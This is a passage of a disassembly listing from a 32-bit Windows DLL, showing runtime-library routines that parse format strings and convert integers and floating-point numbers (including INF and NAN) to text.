		sub	eax, edx
		jz	short loc_10005721

loc_10005746:				; CODE XREF: sub_10005708+Dj
					; sub_10005708+1Bj
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_10005708	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000574C	proc near		; CODE XREF: sub_100055B0+2Ap
					; sub_100072DC+Bp ...
		jmp	short loc_10005756
; ---------------------------------------------------------------------------

loc_1000574E:				; CODE XREF: sub_1000574C+Ej
		test	cl, cl
		jnz	short loc_10005755
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_10005755:				; CODE XREF: sub_1000574C+4j
		inc	eax

loc_10005756:				; CODE XREF: sub_1000574Cj
		mov	cl, [eax]
		cmp	dl, cl
		jnz	short loc_1000574E
		retn
sub_1000574C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10005760	proc near		; CODE XREF: sub_10005912+7Dp

var_34		= byte ptr -34h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFD8h
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		cmp	ebx, 1Fh
		jbe	short loc_10005776
		mov	ebx, 1Fh

loc_10005776:				; CODE XREF: sub_10005760+Fj
		mov	edx, ebx
		dec	edx
		mov	eax, esi
		call	sub_10007240
		cmp	al, 1
		jnz	short loc_10005785
		dec	ebx

loc_10005785:				; CODE XREF: sub_10005760+22j
		mov	eax, esp
		mov	ecx, ebx
		mov	edx, esi
		call	sub_100056C4
		mov	[esp+ebx+34h+var_34], 0
		mov	eax, esp
		mov	[esp+34h+var_14], eax
		mov	[esp+34h+var_10], 6
		lea	edx, [esp+34h+var_14]
		mov	eax, ds:off_100090F4[edi*4]
		xor	ecx, ecx
		call	sub_10005444
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10005760	endp


; =============== S U B	R O U T	I N E =======================================



sub_100057B8	proc near		; CODE XREF: sub_10005912+114p
		push	ebx
		mov	ecx, ds:off_100093E8
		cmp	dword ptr [ecx], 0
		jz	short loc_100057D0
		mov	ebx, ds:off_100093E8
		mov	ebx, [ebx]
		call	ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_100057D0:				; CODE XREF: sub_100057B8+Aj
		mov	al, 10h
		call	sub_100025E0
sub_100057B8	endp

; ---------------------------------------------------------------------------
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100057DC	proc near		; CODE XREF: sub_100057E8+D3p
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_10003620
		pop	ebx
		retn
sub_100057DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100057E8	proc near		; CODE XREF: sub_10005B60+2Ap
					; sub_10005BB4+4Ap ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 10005B4F SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF94h
		push	ebx
		xor	ebx, ebx
		mov	[ebp+var_14], ebx
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		mov	esi, ecx
		xor	eax, eax
		mov	[ebp+var_4], eax
		add	ecx, [ebp+arg_8]
		mov	[ebp+var_8], edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax

loc_10005811:				; CODE XREF: sub_100057E8+DDj
		or	edx, edx
		jz	short loc_10005822

loc_10005815:				; CODE XREF: sub_100057E8+38j
		cmp	esi, ecx
		jz	short loc_10005822
		lodsb
		cmp	al, 25h
		jz	short loc_1000582C

loc_1000581E:				; CODE XREF: sub_100057E8+4Bj
		stosb
		dec	edx
		jnz	short loc_10005815

loc_10005822:				; CODE XREF: sub_100057E8+2Bj
					; sub_100057E8+2Fj ...
		mov	eax, edi
		sub	eax, [ebp+var_8]
		jmp	loc_10005B4F
; ---------------------------------------------------------------------------

loc_1000582C:				; CODE XREF: sub_100057E8+34j
		cmp	esi, ecx
		jz	short loc_10005822
		lodsb
		cmp	al, 25h
		jz	short loc_1000581E
		lea	ebx, [esi-2]
		mov	[ebp+var_18], ebx

loc_1000583B:				; CODE XREF: sub_100057E8+70j
		mov	[ebp+var_19], al
		cmp	al, 2Dh
		jnz	short loc_10005847
		cmp	esi, ecx
		jz	short loc_10005822
		lodsb

loc_10005847:				; CODE XREF: sub_100057E8+58j
		call	sub_100058CA
		cmp	al, 3Ah
		jnz	short loc_1000585A
		mov	[ebp+var_C], ebx
		cmp	esi, ecx
		jz	short loc_10005822
		lodsb
		jmp	short loc_1000583B
; ---------------------------------------------------------------------------

loc_1000585A:				; CODE XREF: sub_100057E8+66j
		mov	[ebp+var_20], ebx
		mov	ebx, 0FFFFFFFFh
		cmp	al, 2Eh
		jnz	short loc_10005870
		cmp	esi, ecx
		jz	short loc_10005822
		lodsb
		call	sub_100058CA

loc_10005870:				; CODE XREF: sub_100057E8+7Cj
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], esi
		push	ecx
		push	edx
		call	sub_10005912
		pop	edx
		mov	ebx, [ebp+var_20]
		sub	ebx, ecx
		jnb	short loc_10005887
		xor	ebx, ebx

loc_10005887:				; CODE XREF: sub_100057E8+9Bj
		cmp	[ebp+var_19], 2Dh
		jnz	short loc_10005897
		sub	edx, ecx
		jnb	short loc_10005895
		add	ecx, edx
		xor	edx, edx

loc_10005895:				; CODE XREF: sub_100057E8+A7j
		rep movsb

loc_10005897:				; CODE XREF: sub_100057E8+A3j
		xchg	ebx, ecx
		sub	edx, ecx
		jnb	short loc_100058A1
		add	ecx, edx
		xor	edx, edx

loc_100058A1:				; CODE XREF: sub_100057E8+B3j
		mov	al, 20h
		rep stosb
		xchg	ebx, ecx
		sub	edx, ecx
		jnb	short loc_100058AF
		add	ecx, edx
		xor	edx, edx

loc_100058AF:				; CODE XREF: sub_100057E8+C1j
		rep movsb
		cmp	[ebp+var_10], 0
		jz	short loc_100058C1
		push	edx
		lea	eax, [ebp+var_10]
		call	sub_100057DC
		pop	edx

loc_100058C1:				; CODE XREF: sub_100057E8+CDj
		pop	ecx
		mov	esi, [ebp+var_28]
		jmp	loc_10005811
sub_100057E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_100058CA	proc near		; CODE XREF: sub_100057E8:loc_10005847p
					; sub_100057E8+83p
		xor	ebx, ebx
		cmp	al, 2Ah
		jz	short loc_100058F2

loc_100058D0:				; CODE XREF: sub_100058CA+20j
		cmp	al, 30h
		jb	short locret_10005911
		cmp	al, 39h
		ja	short locret_10005911
		imul	ebx, 0Ah
		sub	al, 30h
		movzx	eax, al
		add	ebx, eax
		cmp	esi, ecx
		jz	short loc_100058EC
		lodsb
		jmp	short loc_100058D0
; ---------------------------------------------------------------------------

loc_100058EC:				; CODE XREF: sub_100058CA+1Dj
					; sub_100058CA+44j
		pop	eax
		jmp	loc_10005822
; ---------------------------------------------------------------------------

loc_100058F2:				; CODE XREF: sub_100058CA+4j
		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp+8]
		jg	short loc_1000590C
		inc	dword ptr [ebp-0Ch]
		mov	ebx, [ebp+0Ch]
		cmp	byte ptr [ebx+eax*8+4],	0
		mov	ebx, [ebx+eax*8]
		jz	short loc_1000590C
		xor	ebx, ebx

loc_1000590C:				; CODE XREF: sub_100058CA+2Ej
					; sub_100058CA+3Ej
		cmp	esi, ecx
		jz	short loc_100058EC
		lodsb

locret_10005911:			; CODE XREF: sub_100058CA+8j
					; sub_100058CA+Cj
		retn
sub_100058CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_10005912	proc near		; CODE XREF: sub_100057E8+90p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 10005468 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 100054B4 SIZE 00000034 BYTES

		and	al, 0DFh
		mov	cl, al
		mov	eax, 1
		mov	ebx, [ebp-0Ch]
		cmp	ebx, [ebp+8]
		jg	short loc_1000597F
		inc	dword ptr [ebp-0Ch]
		mov	esi, [ebp+0Ch]
		lea	esi, [esi+ebx*8]
		mov	eax, [esi]
		movzx	edx, byte ptr [esi+4]
		jmp	off_10005939[edx*4]
; ---------------------------------------------------------------------------
off_10005939	dd offset loc_100059CA	; DATA XREF: sub_10005912+20r
		dd offset loc_1000597D
		dd offset loc_10005A03
		dd offset loc_10005ACA
		dd offset loc_10005A33
		dd offset loc_10005AAB
		dd offset loc_10005A8B
		dd offset loc_1000597D
		dd offset loc_1000597D
		dd offset loc_1000597D
		dd offset loc_10005A44
		dd offset loc_10005A6F
		dd offset loc_10005AC6
		dd offset loc_10005A12
		dd offset loc_1000597D
		dd offset loc_10005A4B
		dd offset loc_10005994
; ---------------------------------------------------------------------------

loc_1000597D:				; CODE XREF: sub_10005912+20j
					; sub_10005912+B6j ...
		xor	eax, eax

loc_1000597F:				; CODE XREF: sub_10005912+Fj
		call	sub_10005B3F
		mov	edx, [ebp-18h]
		mov	ecx, [ebp-28h]
		sub	ecx, edx
		mov	ebx, [ebp-4]
		call	sub_10005760

loc_10005994:				; CODE XREF: sub_10005912+20j
					; DATA XREF: sub_10005912+67o
		lea	esi, [ebp-49h]
		mov	edx, [ebp-24h]
		cmp	edx, 20h
		jbe	short loc_100059A1
		xor	edx, edx

loc_100059A1:				; CODE XREF: sub_10005912+8Bj
		mov	ebx, ecx
		sub	cl, 44h
		jz	loc_100054B4
		mov	ecx, 10h
		cmp	bl, 58h
		jz	loc_100054B4
		mov	ecx, 0Ah
		cmp	bl, 55h
		jz	loc_100054B4
		jmp	short loc_1000597D
; ---------------------------------------------------------------------------

loc_100059CA:				; CODE XREF: sub_10005912+20j
					; DATA XREF: sub_10005912:off_10005939o
		lea	esi, [ebp-59h]
		mov	edx, [ebp-24h]
		mov	ebx, ecx
		cmp	edx, 10h
		jbe	short loc_100059D9
		xor	edx, edx

loc_100059D9:				; CODE XREF: sub_10005912+C3j
		sub	cl, 44h
		jz	loc_10005468
		mov	ecx, 10h
		cmp	bl, 58h
		jz	loc_10005468
		mov	ecx, 0Ah
		cmp	bl, 55h
		jz	loc_10005468
		jmp	loc_1000597D
; ---------------------------------------------------------------------------

loc_10005A03:				; CODE XREF: sub_10005912+20j
					; DATA XREF: sub_10005912+2Fo
		cmp	cl, 53h
		jnz	loc_1000597D
		mov	ecx, 1
		retn
; ---------------------------------------------------------------------------

loc_10005A12:				; CODE XREF: sub_10005912+20j
					; DATA XREF: sub_10005912+5Bo
		cmp	cl, 53h
		jnz	loc_1000597D
		cmp	word ptr [eax],	1
		jbe	short loc_10005A30
		mov	edx, eax
		lea	eax, [ebp-10h]
		call	sub_100057B8
		mov	esi, [ebp-10h]
		jmp	short loc_10005A7A
; ---------------------------------------------------------------------------

loc_10005A30:				; CODE XREF: sub_10005912+10Dj
					; sub_10005912+16Aj
		xor	ecx, ecx
		retn
; ---------------------------------------------------------------------------

loc_10005A33:				; CODE XREF: sub_10005912+20j
					; DATA XREF: sub_10005912+37o
		cmp	cl, 53h
		jnz	loc_1000597D
		mov	esi, eax
		lodsb
		movzx	ecx, al
		jmp	short loc_10005A81
; ---------------------------------------------------------------------------

loc_10005A44:				; CODE XREF: sub_10005912+20j
					; DATA XREF: sub_10005912+4Fo
		mov	esi, offset loc_1000382C
		jmp	short loc_10005A50
; ---------------------------------------------------------------------------

loc_10005A4B:				; CODE XREF: sub_10005912+20j
					; DATA XREF: sub_10005912+63o
		mov	esi, offset loc_10003880

loc_10005A50:				; CODE XREF: sub_10005912+137j
		add	esi, [ebp-4]
		cmp	cl, 53h
		jnz	loc_1000597D
		mov	edx, eax
		lea	eax, [ebp-14h]
		push	ebx
		mov	ebx, [ebp-4]
		call	esi
		pop	ebx
		mov	esi, [ebp-14h]
		mov	eax, esi
		jmp	short loc_10005A7A
; ---------------------------------------------------------------------------

loc_10005A6F:				; CODE XREF: sub_10005912+20j
					; DATA XREF: sub_10005912+53o
		cmp	cl, 53h
		jnz	loc_1000597D
		mov	esi, eax

loc_10005A7A:				; CODE XREF: sub_10005912+11Cj
					; sub_10005912+15Bj
		or	esi, esi
		jz	short loc_10005A30
		mov	ecx, [esi-4]

loc_10005A81:				; CODE XREF: sub_10005912+130j
		cmp	ecx, [ebp-24h]
		ja	short loc_10005A87
		retn
; ---------------------------------------------------------------------------

loc_10005A87:				; CODE XREF: sub_10005912+172j
		mov	ecx, [ebp-24h]
		retn
; ---------------------------------------------------------------------------

loc_10005A8B:				; CODE XREF: sub_10005912+20j
					; DATA XREF: sub_10005912+3Fo
		cmp	cl, 53h
		jnz	loc_1000597D
		mov	esi, eax
		push	edi
		mov	edi, eax
		xor	al, al
		mov	ecx, [ebp-24h]
		jecxz	short loc_10005AA5
		repne scasb
		jnz	short loc_10005AA5
		dec	edi

loc_10005AA5:				; CODE XREF: sub_10005912+18Cj
					; sub_10005912+190j
		mov	ecx, edi
		sub	ecx, esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_10005AAB:				; CODE XREF: sub_10005912+20j
					; DATA XREF: sub_10005912+3Bo
		cmp	cl, 50h
		jnz	loc_1000597D
		mov	edx, 8
		mov	ecx, 10h
		lea	esi, [ebp-59h]
		jmp	loc_10005468
; ---------------------------------------------------------------------------

loc_10005AC6:				; CODE XREF: sub_10005912+20j
					; DATA XREF: sub_10005912+57o
		mov	bh, 1
		jmp	short loc_10005ACC
; ---------------------------------------------------------------------------

loc_10005ACA:				; CODE XREF: sub_10005912+20j
					; DATA XREF: sub_10005912+33o
		mov	bh, 0

loc_10005ACC:				; CODE XREF: sub_10005912+1B6j
		mov	esi, eax
		mov	bl, 0
		cmp	cl, 47h
		jz	short loc_10005B14
		mov	bl, 1
		cmp	cl, 45h
		jz	short loc_10005B14
		mov	bl, 2
		cmp	cl, 46h
		jz	short loc_10005AF5
		mov	bl, 3
		cmp	cl, 4Eh
		jz	short loc_10005AF5
		cmp	cl, 4Dh
		jnz	loc_1000597D
		mov	bl, 4

loc_10005AF5:				; CODE XREF: sub_10005912+1CFj
					; sub_10005912+1D6j
		mov	eax, 12h
		mov	edx, [ebp-24h]
		cmp	edx, eax
		jbe	short loc_10005B26
		mov	edx, 2
		cmp	cl, 4Dh
		jnz	short loc_10005B26
		movzx	edx, ds:byte_1000A688
		jmp	short loc_10005B26
; ---------------------------------------------------------------------------

loc_10005B14:				; CODE XREF: sub_10005912+1C1j
					; sub_10005912+1C8j
		mov	eax, [ebp-24h]
		mov	edx, 3
		cmp	eax, 12h
		jbe	short loc_10005B26
		mov	eax, 0Fh

loc_10005B26:				; CODE XREF: sub_10005912+1EDj
					; sub_10005912+1F7j ...
		push	ebx
		push	eax
		push	edx
		lea	eax, [ebp-69h]
		mov	edx, esi
		movzx	ecx, bh
		mov	ebx, [ebp-4]
		call	sub_10005CB8
		mov	ecx, eax
		lea	esi, [ebp-69h]
		retn
sub_10005912	endp


; =============== S U B	R O U T	I N E =======================================



sub_10005B3F	proc near		; CODE XREF: sub_10005912:loc_1000597Fp
					; sub_100057E8:loc_10005B4Fp
		push	ebx
		push	eax
		lea	eax, [ebp-14h]
		mov	ebx, [ebp-4]
		call	sub_10003620
		pop	eax
		pop	ebx
		retn
sub_10005B3F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_100057E8

loc_10005B4F:				; CODE XREF: sub_100057E8+3Fj
		call	sub_10005B3F
		pop	edi
		pop	esi
		pop	ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_100057E8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005B60	proc near		; CODE XREF: CODE:1000688Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10005B97
		test	esi, esi
		jz	short loc_10005B97
		mov	eax, esi
		call	sub_100056AC
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		mov	eax, ebx
		mov	edx, edi
		call	sub_100057E8
		mov	byte ptr [ebx+eax], 0
		mov	eax, ebx
		jmp	short loc_10005B99
; ---------------------------------------------------------------------------

loc_10005B97:				; CODE XREF: sub_10005B60+Ej
					; sub_10005B60+12j
		xor	eax, eax

loc_10005B99:				; CODE XREF: sub_10005B60+35j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_10005B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005BA0	proc near		; CODE XREF: sub_100069B0+34p
					; sub_10006A6C+41p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		xchg	eax, ecx
		xchg	edx, ecx
		call	sub_10005BB4
		pop	ebp
		retn	4
sub_10005BA0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005BB4	proc near		; CODE XREF: sub_10005BA0+Ap

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	esi, eax
		mov	ebx, 1000h
		mov	eax, [ebp+var_4]
		call	sub_10003894
		cmp	eax, 0C00h
		jge	short loc_10005C05
		mov	eax, [ebp+var_4]
		call	sub_10003894
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_1008]
		mov	edx, 0FFFh
		call	sub_100057E8
		jmp	short loc_10005C11
; ---------------------------------------------------------------------------

loc_10005C05:				; CODE XREF: sub_10005BB4+29j
		mov	eax, [ebp+var_4]
		call	sub_10003894
		mov	ebx, eax
		mov	eax, ebx

loc_10005C11:				; CODE XREF: sub_10005BB4+4Fj
		mov	edx, ebx
		dec	edx
		cmp	eax, edx
		jl	short loc_10005C5B
		jmp	short loc_10005C4A
; ---------------------------------------------------------------------------

loc_10005C1A:				; CODE XREF: sub_10005BB4+9Bj
		add	ebx, ebx
		mov	eax, esi
		call	sub_10003620
		mov	eax, esi
		mov	edx, ebx
		call	sub_100039C8
		mov	eax, [ebp+var_4]
		call	sub_10003894
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		dec	edx
		mov	eax, [esi]
		call	sub_100057E8

loc_10005C4A:				; CODE XREF: sub_10005BB4+64j
		mov	edx, ebx
		dec	edx
		cmp	eax, edx
		jge	short loc_10005C1A
		mov	edx, esi
		xchg	eax, edx
		call	sub_100039C8
		jmp	short loc_10005C69
; ---------------------------------------------------------------------------

loc_10005C5B:				; CODE XREF: sub_10005BB4+62j
		lea	edx, [ebp+var_1008]
		mov	ecx, esi
		xchg	eax, ecx
		call	sub_10003710

loc_10005C69:				; CODE XREF: sub_10005BB4+A5j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10005BB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10005C74	proc near		; CODE XREF: sub_10005DC1+8Dp
		push	esi
		xor	esi, esi
		stosb
		or	bl, bl
		jnz	short loc_10005C80
		xor	edx, edx
		jmp	short loc_10005C8A
; ---------------------------------------------------------------------------

loc_10005C80:				; CODE XREF: sub_10005C74+6j
		or	edx, edx
		jge	short loc_10005C8A
		mov	al, 2Dh
		neg	edx
		jmp	short loc_10005C90
; ---------------------------------------------------------------------------

loc_10005C8A:				; CODE XREF: sub_10005C74+Aj
					; sub_10005C74+Ej
		or	ah, ah
		jz	short loc_10005C91
		mov	al, ah

loc_10005C90:				; CODE XREF: sub_10005C74+14j
		stosb

loc_10005C91:				; CODE XREF: sub_10005C74+18j
		xchg	eax, edx
		push	eax
		mov	ebx, esp

loc_10005C95:				; CODE XREF: sub_10005C74+32j
					; sub_10005C74+36j
		xor	edx, edx
		div	ds:flt_10009108[esi]
		add	dl, 30h
		mov	[ebx], dl
		inc	ebx
		dec	ecx
		or	eax, eax
		jnz	short loc_10005C95
		or	ecx, ecx
		jg	short loc_10005C95

loc_10005CAC:				; CODE XREF: sub_10005C74+3Ej
		dec	ebx
		mov	al, [ebx]
		stosb
		cmp	ebx, esp
		jnz	short loc_10005CAC
		pop	eax
		pop	esi
		retn
sub_10005C74	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005CB8	proc near		; CODE XREF: sub_10005912+222p

var_2C		= word ptr -2Ch
var_29		= byte ptr -29h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

; FUNCTION CHUNK AT 10005F85 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD4h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], eax
		mov	al, ds:byte_1000A687
		mov	[ebp+var_5], al
		mov	al, ds:byte_1000A686
		mov	[ebp+var_6], al
		mov	eax, ds:dword_1000A680
		mov	[ebp+var_C], eax
		mov	al, ds:byte_1000A684
		mov	[ebp+var_D], al
		mov	al, ds:byte_1000A685
		mov	[ebp+var_E], al
		mov	[ebp+var_14], 0
		mov	eax, 13h
		cmp	cl, 0
		jnz	short loc_10005D14
		mov	eax, [ebp+arg_4]
		cmp	eax, 2
		jge	short loc_10005D0A
		mov	eax, 2

loc_10005D0A:				; CODE XREF: sub_10005CB8+4Bj
		cmp	eax, 12h
		jle	short loc_10005D14
		mov	eax, 12h

loc_10005D14:				; CODE XREF: sub_10005CB8+43j
					; sub_10005CB8+55j
		mov	[ebp+arg_4], eax
		push	eax
		mov	eax, 270Fh
		cmp	[ebp+arg_8], 2
		jb	short loc_10005D26
		mov	eax, [ebp+arg_0]

loc_10005D26:				; CODE XREF: sub_10005CB8+69j
		push	eax
		lea	eax, [ebp+var_2C]
		call	sub_10005F8C
		mov	edi, [ebp+var_4]
		movzx	eax, [ebp+var_2C]
		sub	eax, 7FFFh
		cmp	eax, 2
		jnb	short loc_10005D5A
		mov	ecx, eax
		call	sub_10005DB7
		lea	esi, dword_10005DA8[ecx+ecx*2]
		add	esi, [ebp+var_14]
		mov	ecx, 3
		rep movsb
		jmp	short loc_10005D87
; ---------------------------------------------------------------------------

loc_10005D5A:				; CODE XREF: sub_10005CB8+86j
		lea	esi, [ebp+var_29]
		movzx	ebx, [ebp+arg_8]
		cmp	bl, 1
		jz	short loc_10005D76
		cmp	bl, 4
		ja	short loc_10005D74
		movsx	eax, [ebp+var_2C]
		cmp	eax, [ebp+arg_4]
		jle	short loc_10005D76

loc_10005D74:				; CODE XREF: sub_10005CB8+B1j
		mov	bl, 0

loc_10005D76:				; CODE XREF: sub_10005CB8+ACj
					; sub_10005CB8+BAj
		lea	ebx, off_10005D94[ebx*4]
		add	ebx, [ebp+var_14]
		mov	ebx, [ebx]
		add	ebx, [ebp+var_14]
		call	ebx

loc_10005D87:				; CODE XREF: sub_10005CB8+A0j
		mov	eax, edi
		sub	eax, [ebp+var_4]
		pop	ebx
		pop	esi
		pop	edi
		jmp	loc_10005F85
sub_10005CB8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_10005D94	dd offset sub_10005DC1	; DATA XREF: sub_10005CB8:loc_10005D76o
		dd offset loc_10005E1D
		dd offset sub_10005E54
		dd offset sub_10005E54
		dd offset sub_10005EBE
dword_10005DA8	dd 4E464E49h		; DATA XREF: sub_10005CB8+8Fr
; ---------------------------------------------------------------------------
		inc	ecx
		dec	esi

; =============== S U B	R O U T	I N E =======================================



sub_10005DAE	proc near		; CODE XREF: sub_10005DC1+61p
					; sub_10005DC1:loc_10005E30p ...
		lodsb
		or	al, al
		jnz	short locret_10005DB6
		mov	al, 30h
		dec	esi

locret_10005DB6:			; CODE XREF: sub_10005DAE+3j
		retn
sub_10005DAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_10005DB7	proc near		; CODE XREF: sub_10005CB8+8Ap
					; sub_10005DC1p ...
		cmp	byte ptr [ebp-2Ah], 0
		jz	short locret_10005DC0
		mov	al, 2Dh
		stosb

locret_10005DC0:			; CODE XREF: sub_10005DB7+4j
		retn
sub_10005DB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_10005DC1	proc near		; DATA XREF: CODE:off_10005D94o
		call	sub_10005DB7
		movsx	ecx, word ptr [ebp-2Ch]
		xor	edx, edx
		cmp	ecx, [ebp+0Ch]
		jg	short loc_10005DEE
		cmp	ecx, 0FFFFFFFDh
		jl	short loc_10005DEE
		or	ecx, ecx
		jg	short loc_10005DF4
		mov	al, 30h
		stosb
		cmp	byte ptr [esi],	0
		jz	short locret_10005E1C
		mov	al, [ebp-5]
		stosb
		neg	ecx
		mov	al, 30h
		rep stosb
		jmp	short loc_10005E08
; ---------------------------------------------------------------------------

loc_10005DEE:				; CODE XREF: sub_10005DC1+Ej
					; sub_10005DC1+13j
		mov	ecx, 1
		inc	edx

loc_10005DF4:				; CODE XREF: sub_10005DC1+17j
					; sub_10005DC1+39j
		lodsb
		or	al, al
		jz	short loc_10005E10
		stosb
		loop	loc_10005DF4
		lodsb
		or	al, al
		jz	short loc_10005E14
		mov	ah, al
		mov	al, [ebp-5]
		stosw

loc_10005E08:				; CODE XREF: sub_10005DC1+2Bj
					; sub_10005DC1+4Dj
		lodsb
		or	al, al
		jz	short loc_10005E14
		stosb
		jmp	short loc_10005E08
; ---------------------------------------------------------------------------

loc_10005E10:				; CODE XREF: sub_10005DC1+36j
		mov	al, 30h
		rep stosb

loc_10005E14:				; CODE XREF: sub_10005DC1+3Ej
					; sub_10005DC1+4Aj
		or	edx, edx
		jz	short locret_10005E1C
		xor	eax, eax
		jmp	short loc_10005E3A
; ---------------------------------------------------------------------------

locret_10005E1C:			; CODE XREF: sub_10005DC1+1Fj
					; sub_10005DC1+55j
		retn
; ---------------------------------------------------------------------------

loc_10005E1D:				; DATA XREF: CODE:10005D98o
		call	sub_10005DB7
		call	sub_10005DAE
		mov	ah, [ebp-5]
		stosw
		mov	ecx, [ebp+0Ch]
		dec	ecx

loc_10005E30:				; CODE XREF: sub_10005DC1+75j
		call	sub_10005DAE
		stosb
		loop	loc_10005E30
		mov	ah, 2Bh

loc_10005E3A:				; CODE XREF: sub_10005DC1+59j
		mov	ecx, [ebp+8]
		cmp	ecx, 4
		jbe	short loc_10005E44
		xor	ecx, ecx

loc_10005E44:				; CODE XREF: sub_10005DC1+7Fj
		mov	al, 45h
		mov	bl, [ebp-29h]
		movsx	edx, word ptr [ebp-2Ch]
		dec	edx
		call	sub_10005C74
		retn
sub_10005DC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_10005E54	proc near		; DATA XREF: CODE:10005D9Co
					; CODE:10005DA0o
		call	sub_10005DB7

loc_10005E59:				; CODE XREF: sub_10005EBE:loc_10005F07p
		mov	edx, [ebp+8]
		cmp	edx, 12h
		jb	short loc_10005E66
		mov	edx, 12h

loc_10005E66:				; CODE XREF: sub_10005E54+Bj
		movsx	ecx, word ptr [ebp-2Ch]
		or	ecx, ecx
		jg	short loc_10005E73
		mov	al, 30h
		stosb
		jmp	short loc_10005E9D
; ---------------------------------------------------------------------------

loc_10005E73:				; CODE XREF: sub_10005E54+18j
		xor	ebx, ebx
		cmp	byte ptr [ebp+10h], 2
		jz	short loc_10005E85
		mov	eax, ecx
		dec	eax
		mov	bl, 3
		div	bl
		mov	bl, ah
		inc	ebx

loc_10005E85:				; CODE XREF: sub_10005E54+25j
					; sub_10005E54+3Bj ...
		call	sub_10005DAE
		stosb
		dec	ecx
		jz	short loc_10005E9D
		dec	ebx
		jnz	short loc_10005E85
		mov	al, [ebp-6]
		test	al, al
		jz	short loc_10005E85
		stosb
		mov	bl, 3
		jmp	short loc_10005E85
; ---------------------------------------------------------------------------

loc_10005E9D:				; CODE XREF: sub_10005E54+1Dj
					; sub_10005E54+38j
		or	edx, edx
		jz	short locret_10005EBD
		mov	al, [ebp-5]
		test	al, al
		jz	short loc_10005EA9
		stosb

loc_10005EA9:				; CODE XREF: sub_10005E54+52j
		jecxz	short loc_10005EB4
		mov	al, 30h

loc_10005EAD:				; CODE XREF: sub_10005E54+5Ej
		stosb
		dec	edx
		jz	short locret_10005EBD
		inc	ecx
		jnz	short loc_10005EAD

loc_10005EB4:				; CODE XREF: sub_10005E54:loc_10005EA9j
					; sub_10005E54+67j
		call	sub_10005DAE
		stosb
		dec	edx
		jnz	short loc_10005EB4

locret_10005EBD:			; CODE XREF: sub_10005E54+4Bj
					; sub_10005E54+5Bj
		retn
sub_10005E54	endp


; =============== S U B	R O U T	I N E =======================================



